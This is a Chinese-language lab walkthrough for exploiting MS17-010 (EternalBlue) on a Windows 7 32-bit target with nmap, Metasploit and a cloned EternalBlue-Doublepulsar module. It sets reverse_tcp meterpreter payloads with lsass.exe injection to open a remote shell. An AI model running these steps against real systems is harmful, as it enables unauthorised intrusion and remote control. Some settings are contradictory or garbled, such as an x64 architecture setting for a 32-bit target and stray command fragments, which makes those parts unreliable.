MS17-010永恒之蓝漏洞利用,win32安装,windows 7 32位
漏洞复现:MS17-010
漏洞利用的条件:1.靶机开启445端口(如果未打开该端口将会攻击失败,百度打开445端口)
2.关闭防火墙
靶机:windows 7(未知X32位还是X64位) ip:192.168.1.9
攻击机:kali linux (X64) ip:192.168.1.101
使用工具:meatsploit,nmap
前期准备工作:由于kali是64位,如果windows 7 是32 位,所以我们得安装wine32环境,并且下载32位操作系统的永恒之蓝漏洞利用脚本。可参考文章后面大佬的博客,也可阅读本文。如果是X64位操作系统则不用安装。
第一部分:主机发现(nmap)
打开nmap进行主机发现,可以扫描到主机的IP地址,端口号,服务器的版本等其他信息
Nmap -A 192.168.1.0/24
发现靶机开放445端口,那么我们就可以利用该端口进行渗透
第二部分:metasploit工具进行漏洞利用
1.启动该工具
msfconsole
2. 查找永恒之蓝漏洞利用脚本
search ms17-010
可以看到有这样几种攻击脚本 (第四个脚本文章会详细说明如何安装),exploit开头的是漏洞利用模块,可以用来进行攻击;auxiliary是漏洞辅助模块,可以查询漏洞的详细信息等。
3.我们先用auxiliary是漏洞辅助模块,查询漏洞的详细信息,如下图所示
use 3 #使用该模块
show options #显示需要设置的参数
set rhosts 192.168.1.9 #设置靶机的IP地址
4.查看漏洞利用payload
show payloads
5.设置攻击用到的payloads
set payloads windows/x64/meterpreter/reverse_tcp #设置payloads
run #开始进行漏洞利用攻击(输入exploit也可以反弹出交互式shell)
可以看到提示信息,该主机可能存在这个漏洞
6.接下来我们使用exploit模块(步骤同上,原理同上)------如果未知靶机是多少位的操作系统,我们先用常规的用来测试X64位操作系统
search ms17-010 #查询漏洞利用脚本
use 0
set payloads windows/x64/meterpreter/reverse_tcp
show options
set rhosts 192.168.1.9 #靶机的IP地址
run
本次运行的结果如下,可以看到攻击失败,同时给与提示,该模块只能攻击X64位操作系统,说明我们的靶机是X32位
7.确定靶机是X32位操作系统,安装wine 32环境,安装攻击32位操作系统所用的的脚本
安装wine 32 位环境:
方法一:
apt-get install wine32
在执行exploit时可能会出现 :
it looks like wine32 is missing, you should install it.
multiarch needs to be enabled first. as root, please
execute "dpkg --add-architecture i386 && apt-get update && apt-get install wine32"
按照上面的方法dpkg --add-architecture i386 && apt-get update && apt-get install wine32即可
apt-get install wine32
dpkg --add-architecture i386 && apt-get update && apt-get install wine32
验证是否安装成功
wine --version
wine cmd.exe
用wine32执行cmd.exe
wine cmd.exe
如上图所示,即wine 32 安装成功
方法二:(仅供参考)
使用终端输入下列命令
dpkg --add-architecture i386 #这是让Linux安装32位架构,好兼容32位的程序
执行完毕之后再次执行
apt-get update && apt-get install wine32
apt-get install wine32
dpkg --add-architecture i386 && apt-get update &&
cmdand cmdand> cmd.exe #输入cmd.exe
dpkg --add-architecture i386 && apt-get update && apt-get install wine32
注意事项
64位Linux一般会自带一个Wine,名字是wine64,注意Wine32安装之后的名字是wine而非wine32。(可能有些系统会不同但几率不大)
附上卸载i386的方法
dpkg --remove-architecture i386
可能缺少多架构支持,所以我们安装多架构支持,所以安装win 32
安装攻击32位操作系统所用的的脚本
首先下载利用的脚本:
git clone https://github.com/ElevenPaths/Eternalblue-Doublepulsar-Metasploit
下载下来之后要记得解压
然后将脚本拷贝到 /usr/share/metasploit-framework/modules/exploits/windows/smb
cd Eternalblue-Doublepulsar-Metasploit/
cp -r deps/ eternalblue_doublepulsar.rb /usr/share/metasploit-framework/modules/exploits/windows/smb
如上图所示,脚本下载并复制到SMB目录下成功
8.接下来我们使用exploit模块(步骤同上,原理同上)------已知靶机是32位的操作系统,我们用常32位的脚本来入侵操作系统
msfconsole
search eternalblue #或者search ms17-010
use exploit/windows/smb/eternalblue_doublepulsar
set DOUBLEPULSARPATH /usr/share/metasploit-framework/modules/exploits/windows/smb/deps
set ETERNALBLUEPATH /usr/share/metasploit-framework/modules/exploits/windows/smb/deps
set PROCESSINJECT lsass.exe
set TARGETARCHITECTURE x64
set rhost 192.168.1.9
show options #查看设置的参数
设置payloads,特别注意和之前的payloads不同(去掉中间的X86,否则会失败)
set payload windows/meterpreter/reverse_tcp
exploit #或者run 开始攻击,反弹shell
拓展:
第一种交互式shellpayload设置方法:set payload windows/meterpreter/reverse_tcp (注意:此处的payload里面去掉X86,不然链接不成功)
第二种反弹式shellpayload设置方法:set payload windows/shell/reverse_tcp (注意:此处的payload里面去掉X86,不然链接不成功)
如下图所示,攻击成功,反弹出shell ,可移执行windows 7 的系统命令
查看到靶机的IP地址,还可以执行更多的命令..........